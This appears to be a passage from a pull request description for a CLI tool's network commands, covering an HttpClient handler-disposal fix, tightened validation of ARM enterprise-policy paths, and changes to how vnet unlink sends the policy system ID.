HttpClientno longer disposes a handler it does not own.HttpClientFactory.CreateAuthenticatedClientbuilt the client asnew HttpClient(handler), which defaults todisposeHandler: true, so a service that holds one handler as a field and builds a client per request lost that handler to the first client's disposal. Every later request, including every poll after the first, would have failed withObjectDisposedExceptionagainst any handler with real disposal semantics. A supplied handler now stays owned by the supplier; a handler the factory creates itself is still disposed with the client.Fourth round (c6d9f7b)
resourcegroupsormicrosoft.powerplatformwere rejected; the pattern is nowIgnoreCase, which does not weaken the host pin (that comes from the^/subscriptions/anchor). Dot segments were accepted and normalized to a different resource path, so both name segments now carry a./..lookahead. The anchor moved from$to\z, but note that\zalone did not reject a trailing newline —[^/?#]+absorbed it as part of the policy name; excluding whitespace from both segment classes is what actually rejects it, and ARM names cannot contain whitespace.Tests
Full suite: 2142 passed, 0 failed, 12 skipped.
Fifth round (b0a71d7, 9f6fd17)
Two changes, both from reading the
Microsoft.PowerPlatform.EnterprisePoliciesmodule sources to check our split against the supported tool.Enterprise policies that are not
NetworkInjectionare now rejected here. The design moved this check to the CLI on the grounds that the CLI holds the whole policy object and can name what is wrong; it never actually landed. Every policy kind carries asystemId, so a CMK or Identity policy read back cleanly and failed later at BAP with an error naming nothing actionable. Six existing tests had ARM payloads with nokindfield at all, which is why none of them caught it.unlinknow resolves and sendspolicySystemId. The platform no longer retains it (MCP-Platform PR #3655, round 2 — the stored copy was a sliding cache entry, which put the recovery path behind a TTL), so a bodyless unlink is rejected. The CLI does the same two readsDisable-SubnetInjectiondoes internally, just client-side: read the linked policy's ARM id fromGET /agents/vnet/status, then read that policy from ARM on the admin's own Azure session — which also applies thekindcheck above.There is deliberately no bodyless fallback; there is nothing on the platform side left to fall back to. A failed ARM read is a client-side error that names the policy, because the usual cause is that it was deleted from Azure while still linked, and the admin cannot act on that without knowing which one. Nothing-linked short-circuits before any ARM call.
The command surface is unchanged:
a365 network vnet unlinkstill takes no policy argument.Ordering: this needs MCP-Platform #3655 to ship first. Until it does, an unlink from this build sends a body the deployed platform ignores, which is harmless; after it ships, older CLI builds can no longer unlink. Both are accepted.